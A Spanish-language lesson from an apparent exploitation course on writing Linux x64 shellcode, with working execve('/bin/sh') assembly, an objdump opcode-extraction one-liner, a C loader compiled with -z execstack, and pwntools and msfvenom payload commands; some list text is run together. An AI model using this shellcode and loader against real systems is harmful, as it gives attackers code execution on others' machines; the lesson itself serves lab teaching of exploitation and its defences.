Parte: 5 — Explotación de sistemas y binarios · Fuente: Anley et al., The Shellcoder's Handbook · Erickson, Hacking 2e ⏱️ Duración estimada: 130 min · Nivel: Intermedio
Escribir shellcode propio: código máquina que, inyectado en un proceso, ejecuta una acción del
atacante (típicamente lanzar /bin/sh). Aprenderás a invocar syscalls de Linux desde ensamblador,
a extraer los opcodes, a eliminar bytes nulos que romperían las copias de cadenas y a probar el
shellcode con un cargador. Es la carga útil clásica del binary exploitation.
⚠️ Ética: shellcode solo en binarios y VMs propias. Su uso contra sistemas ajenos sin permiso es delito.
Al finalizar, el alumno podrá:
execve("/bin/sh") como shellcode de 64 bits.\x00) usando trucos de registros.msfvenom/pwn.shellcraft y compararlo con el propio.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Syscalls de Linux x64 | Interfaz para pedir servicios al kernel |
| 2 | execve para lanzar shell | El objetivo más común |
| 3 | Registros por syscall (RAX, RDI…) | Dónde van número y argumentos |
| 4 | Bytes nulos y cómo evitarlos | Rompen strcpy/gets si aparecen |
| 5 | Extracción de opcodes | Pasar de .asm a bytes |
| 6 | Cargador de pruebas | Ejecutar shellcode aislado |
| 7 | shellcraft / msfvenom | Alternativas listas para usar |
| 8 | execstack y su papel | El shellcode necesita memoria ejecutable |
syscall y el número en RAX. Clave: execve
es la 59; exit la 60.\x00): termina cadenas en C; si aparece en el shellcode, funciones como strcpy
lo truncan. Clave: se evita con xor reg, reg en vez de mov reg, 0.\x90 que da margen al salto. Clave: aumenta fiabilidad ante direcciones
inciertas.-z execstack.pwn.asm(pwn.shellcraft.sh()).sudo apt install -y nasm
pip install pwntools
# msfvenom viene con Metasploit (opcional)
Trabaja en la VM aislada. Los binarios de prueba se compilan con -z execstack solo para el laboratorio.
Entorno propio.
sh.asm (execve("/bin/sh", NULL, NULL)):asm
section .text
global _start
_start:
xor rsi, rsi ; argv = NULL (sin bytes nulos)
push rsi
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (8 bytes, sin byte nulo)
push rdi
mov rdi, rsp ; rdi -> "/bin/sh"
xor rdx, rdx ; envp = NULL
push 59
pop rax ; syscall execve
syscall
bash
nasm -f elf64 sh.asm -o sh.o && ld sh.o -o sh && ./sh # debe abrir una shell
bash
objdump -d sh -M intel | grep '^ ' | cut -f2 | tr -d ' \n' | sed 's/../\\x&/g'; echo
Verifica que no hay \x00. Si aparece, sustituye mov reg, 0 por xor reg, reg.
Cárgalo desde C para probar en un contexto de exploit:
c
char sc[] = "\x48\x31\xf6..."; // pega aquí tus bytes
int main(){ ((void(*)())sc)(); }
bash
gcc -z execstack -no-pie loader.c -o loader && ./loader
Compara con pwntools: python3 -c 'from pwn import *; context.arch="amd64"; print(asm(shellcraft.sh()))'.
Depura con GDB (break *sc, stepi) si el shellcode no lanza la shell.
/bin/ls en vez de una shell.msfvenom.exit(7) y verifícalo con echo $?.msfvenom -p linux/x64/exec CMD=id -f c y analízalo.Entrega un shellcode de 64 bits sin bytes nulos que lance /bin/sh, junto con el cargador C que
lo ejecuta.
Criterio de aceptación: ./loader abre una shell interactiva y python3 -c 'print(b"...".count(b"\x00"))'
sobre tus bytes devuelve 0.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| Segfault en vez de shell | NX activo; compila el loader con -z execstack (laboratorio) |
| El shellcode se trunca | Contiene \x00; usa xor/push+pop para inmediatos |
| "/bin/sh" mal formado | Endianness incorrecta al empujar la cadena |
| execve devuelve -1 | Argumentos mal colocados (RDI/RSI/RDX) |
| Funciona suelto pero no inyectado | Direcciones/entorno distintos; usa registros relativos a RSP |
❓ ¿Por qué me obsesiono con los bytes nulos? Porque la mayoría de overflows nacen de funciones de
cadena que se detienen en \x00, cortando tu payload.
❓ ¿Puedo usar shellcode de Internet? Para aprender, escribe el tuyo. En CTF a menudo se usa
shellcraft, pero entender la mecánica es el objetivo.
❓ ¿El shellcode en el stack sigue siendo viable? Rara vez: NX lo bloquea. Se estudia para entender la base; luego se pasa a ROP/ret2libc.
Clase 120 — Buffer overflow en stack: explotación práctica
Clase 122 — Protecciones modernas: ASLR, DEP/NX, stack canaries y PIE